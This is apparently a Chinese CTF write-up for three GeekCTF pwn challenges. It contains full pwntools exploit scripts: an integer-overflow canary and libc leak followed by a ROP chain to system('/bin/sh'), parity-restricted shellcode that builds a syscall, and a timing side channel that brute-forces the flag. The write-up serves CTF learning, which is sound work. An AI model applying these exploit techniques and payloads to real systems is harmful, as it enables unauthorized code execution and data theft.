Memo1
题目分析
add,show,edit三个功能。
漏洞点
有符号8字节强转4字节无符号。
利用这样可以绕过判断
读取的字符串会将最后的\n替换为’\x00’,所以不能读取到’\n’,但是这样就无法直接泄露libc和canary了,因为被’\x00’截断了。所以需要控制unsigned int v3的值,不读入’\n’。利用整形溢出即可。泄露canary和libc后。再利用溢出构造ROP
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('chall.geekctf.geekcon.top', 40311) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def add(content): rl(b"Your choice:") sl(b'1') rl(b"What do you want to write in the memo:\n") sl(content) def show(): rl(b"Your choice:") sl(b'2') def edit(num,content): rl(b"Your choice:") sl(b'3') rl(b"How many characters do you want to change:") sl(str(num)) sleep(0.1) sl(content) def delete(): rl(b"Your choice:") sl(b'4') rl(b"Please enter your password: ") payload = 'CTF_is_interesting_isn0t_it?'
sl(payload)
add(b'a'*0xb7) rl(b"Your choice:") sl(b'3') rl(b"How many characters do you want to change:") sl(str(-4294967031)) sleep(0.1) s(b'c'*0x107 + b'd' + b'e') show() rl(b'd') canary = u64(p.recv(8).ljust(8, b'\x00'))-0x65 lg("canary",canary)
rl(b"Your choice:") sl(b'3') rl(b"How many characters do you want to change:") sl(str(-4294967016))
payload = b'a'*0x108 + p64(canary+0x10) + b'a'*7 + b'c' s(payload)
show() rl(b'c') libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x29d90 lg("libc_base",libc_base) system = libc_base+0x50D70 binsh = libc_base+0x1D8678 ret = libc_base+0x0000000000029139 pop_rdi = libc_base+0x2a3e5
rl(b"Your choice:") sl(b'3') rl(b"How many characters do you want to change:") sl(str(-4294966984))
payload = b'a'*0x108 + p64(canary) + b'a'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) s(payload)
rl(b"Your choice:") sl(b'5')
inter()
|
shellcode
有一段可读可写可执行的区域,但是对输入的内容进行了限制,奇偶校验以及必须小于0x7f,输入满足对应条件的shellcode,才能执行。
所以说需要找到合适的gadget才行。(手搓的难受)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| oushu = [] jishu = [] for i in range(0,0x7f): if i%2 == 0: oushu.append(i) else: jishu.append(i)
tmp = "" for a in oushu: for b in jishu: for c in oushu: tmp +=chr(a)+chr(b)+chr(c)
tmp2 = "" for a in jishu: for b in oushu: for c in jishu: tmp2+=chr(a)+chr(b)+chr(c)
with open ("bin1","w") as f1: f1.write(tmp)
with open("bin2","w") as f2: f2.write(tmp2)
|
然后用下面这条指令寻找gadget,大概几十万条吧,随便看几千条筛选一下。
1
| disasm -c amd64 < bin > all_gadget
|
因为还开启了沙盒,只能利用open和read,所以很明显需要侧信道爆破。但是需要执行这些shellcode的话,就需要第一次利用read的系统调用读入侧信道的shellcode。
但是syscall的操作码是’\x0f\x05’。这两个都是奇数,所以就无法直接读入,那么就需要利用add指令在对应位置构造’\x0f\x05’。然后拼接上我们读取的控制read(0,add,length)的shellcode。
1 2
| shellcode = '\x5a\x41\x52\x59\x04\x3d\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x04\x01\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x52\x53\x58\x5b\x56\x5d\x5a\x57\x58' p.recvuntil("Please input your shellcode: ")
|
前面一部分是构造’\x0f\x05’。后面都是pop或者push构造read。执行完后正好能将’\x0f\x05’拼接到shellcode之后触发syscall。然后再读入侧信道的shellcode。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] def exp(p, dis, char): shellcode = b'\x5a\x41\x52\x59\x04\x3d\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x04\x01\x50\x5b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x00\x0b\x52\x53\x58\x5b\x56\x5d\x5a\x57\x58' p.recvuntil("Please input your shellcode: ") p.send(shellcode) padding = b'./flag\x00\x00' + b'\x00'*(0x3f-0x8) payload = 'xor rdx,rdx;mov rdi,rsi;xor rsi,rsi;mov rax,2;syscall;' payload += 'mov rsi,rdi;add rsi,0x500;mov rdi,0x3;mov rdx,0x50;xor rax,rax;syscall;' payload += f''' loop: cmp byte ptr[rsi+{dis}], {char} jz loop ''' p.recvuntil('\n') p.send(padding+asm(payload))
flag = "" index = 0 last = b'a' while True: update = False for ch in range(32,127): p = process("./pwn") exp(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if(end-start > 1.5): flag += chr(ch) last = chr(ch) update = True print("[ flag + 1 !!! ] " + flag) break assert(update == True) if(last == '}'): break index += 1
print("flag: " + flag)
|
签到
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 0 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('chall.geekctf.geekcon.top', 40310) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
rl(b"Please enter your password: ") payload = 'CTF_is_interesting_isn0t_it?'
sl(payload)
inter()
|
在密码校验处下断点,然后拿到经过换表的base64加密的字符串,然后解密是密码,登陆。